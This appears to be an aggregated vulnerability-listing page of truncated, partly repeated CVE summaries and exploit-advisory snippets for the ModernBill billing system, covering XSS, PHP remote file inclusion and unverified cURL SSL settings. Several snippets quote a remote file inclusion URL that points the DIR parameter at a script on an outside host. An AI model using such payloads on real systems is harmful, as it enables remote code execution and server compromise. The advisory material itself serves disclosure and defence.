CVE-2008-5059

CVE-2008-5059 describes a cross-site scripting (XSS) vulnerability in index.php of ModernBill 4.4 and earlier. The issue arises from a Javascript event in the new_language parameter used in a login action, allowing remote attackers to inject arbitrary web script or HTML. The connected records con...

CVE-2008-5060

Multiple PHP remote file inclusion vulnerabilities in ModernBill 4.4 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the DIR parameter to 1 exportbatch.inc.php, 2 runautosuspend.cron.php, and 3 sendemailcache.php in include/scripts/; 4...

CVE-2008-5059

Cross-site scripting XSS vulnerability in index.php in ModernBill 4.4 and earlier allows remote attackers to inject arbitrary web script or HTML via a Javascript event in the newlanguage parameter in a login action...

CVE-2008-5060

CVE-2008-5060 describes multiple PHP remote file inclusion vulnerabilities affecting ModernBill 4.4 and earlier. The flaw allows remote attackers to execute arbitrary PHP code by supplying a URL in the DIR parameter to several scripts (export_batch.inc.php, run_auto_suspend.cron.php, send_email_c...

modernbill-xssrfi.txt

ModernBill .:. Client Billing System - User Login ModernBill = v4.4.X Remote File Inclusion Vulnerability and xss by nigh7f411 http://xc0r3.net/ plezz go to ttp://xc0r3.net/forums/ rfi http://poop.com/include/scripts/exportbatch.inc.php?DIR=http://xc0r3.net/x2300.txt?...

ModernBill <= 4.4.x XSS / Remote File Inclusion Vulnerability

No description provided by source. ModernBill .:. Client Billing System - User Login ModernBill = v4.4.X Remote File Inclusion Vulnerability and xss by nigh7f411 http://xc0r3.net/ plezz go to ttp://xc0r3.net/forums/ rfi...

ModernBill 4.4.x - Cross-Site Scripting / Remote File Inclusion

ModernBill .:. Client Billing System - User Login ModernBill = v4.4.X Remote File Inclusion Vulnerability and xss by nigh7f411 http://xc0r3.net/ plezz go to ttp://xc0r3.net/forums/ rfi http://poop.com/include/scripts/exportbatch.inc.php?DIR=http://xc0r3.net/x2300.txt?...

ModernBill 4.4.x - Cross-Site Scripting Remote File Inclusion

ModernBill 4.4.x - Cross-Site Scripting Remote File Inclusion ModernBill .:. Client Billing System - User Login ModernBill = v4.4.X Remote File Inclusion Vulnerability and xss by nigh7f411 http://xc0r3.net/ plezz go to ttp://xc0r3.net/forums/ rfi...

ModernBill <= 4.4.x XSS / Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ============================================================= ModernBill = 4.4.x XSS / Remote File Inclusion Vulnerability ============================================================= ModernBill .:. Client Billing System - User Login...

Modernbill &lt;= 1.6 (config.php) Remote File Include Vulnerability

No description provided by source. SolpotCrew Community modernbill ver 1.6 DIR Remote File Inclusion Download file : http://freshmeat.net/projects/modernbill/ Bug Found By :Solpot a.k.a k. Hasibuan 03-08-2006 contact: [email protected] Website : http://www.solpotcrew.org/adv/solpot-adv-04.t...

CVE-2006-4499

ModernBill 5.0.4 and earlier uses cURL with insecure settings for CURLOPTSSLVERIFYPEER and CURLOPTSSLVERIFYHOST that do not verify SSL certificates, which allows remote attackers to read network traffic via a man-in-the-middle MITM attack...

CVE-2006-4499

CVE-2006-4499 affects ModernBill 5.0.4 and earlier. The root cause is insecure cURL SSL settings (CURLOPT_SSL_VERIFYPEER and CURLOPT_SSL_VERIFYHOST) that do not verify certificates, allowing remote attackers to read network traffic via a MITM. The connected documents confirm the MITM risk and tra...

CVE-2006-4499

ModernBill 5.0.4 and earlier uses cURL with insecure settings for CURLOPTSSLVERIFYPEER and CURLOPTSSLVERIFYHOST that do not verify SSL certificates, which allows remote attackers to read network traffic via a man-in-the-middle MITM attack...

Vulnerability: ModernBill Insecure CURL Settings

Vulnerability: ModernBill Insecure CURL Settings Vulnerability discovered by: Justin Samuel www.justinsamuel.com Discovery Date: 2006-07-11 Severity: Less Critical Impact: Exposure of sensitive information Product: ModernBill Affected Versions: 5.0.1 Vendor: ModernGigabyte, LLC...

solpot-adv-04.txt

SolpotCrew Community modernbill ver 1.6 DIR Remote File Inclusion Download file : http://freshmeat.net/projects/modernbill/ Bug Found By :Solpot a.k.a k. Hasibuan 03-08-2006 contact: [email protected] Website : http://www.solpotcrew.org/adv/solpot-adv-04.txt Greetz: choi , cow1seng , Ibnusi...

CVE-2006-4034

PHP remote file inclusion vulnerability in include/html/config.php in ModernGigabyte ModernBill 1.6 allows remote attackers to execute arbitrary PHP code via a URL in the DIR parameter...

CVE-2006-4034

PHP remote file inclusion vulnerability in include/html/config.php in ModernGigabyte ModernBill 1.6 allows remote attackers to execute arbitrary PHP code via a URL in the DIR parameter...

CVE-2006-4034

The provided data confirms a concrete vulnerability: PHP remote file inclusion in ModernGigabyte ModernBill 1.6 (include/html/config.php) that allows an attacker to execute arbitrary PHP code via a URL in the DIR parameter. This is identified as CVE-2006-4034. The vulnerability affects ModernBill...

ModernBill 1.6 - config.php Remote File Inclusion

ModernBill 1.6 - config.php Remote File Inclusion SolpotCrew Community modernbill ver 1.6 DIR Remote File Inclusion Download file : http://freshmeat.net/projects/modernbill/ Bug Found By :Solpot a.k.a k. Hasibuan 03-08-2006 contact: [email protected] Website :...

Modernbill <= 1.6 (config.php) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ================================================================ Modernbill = 1.6 config.php Remote File Include Vulnerability ================================================================ SolpotCrew Community modernbill ver 1.6 DIR...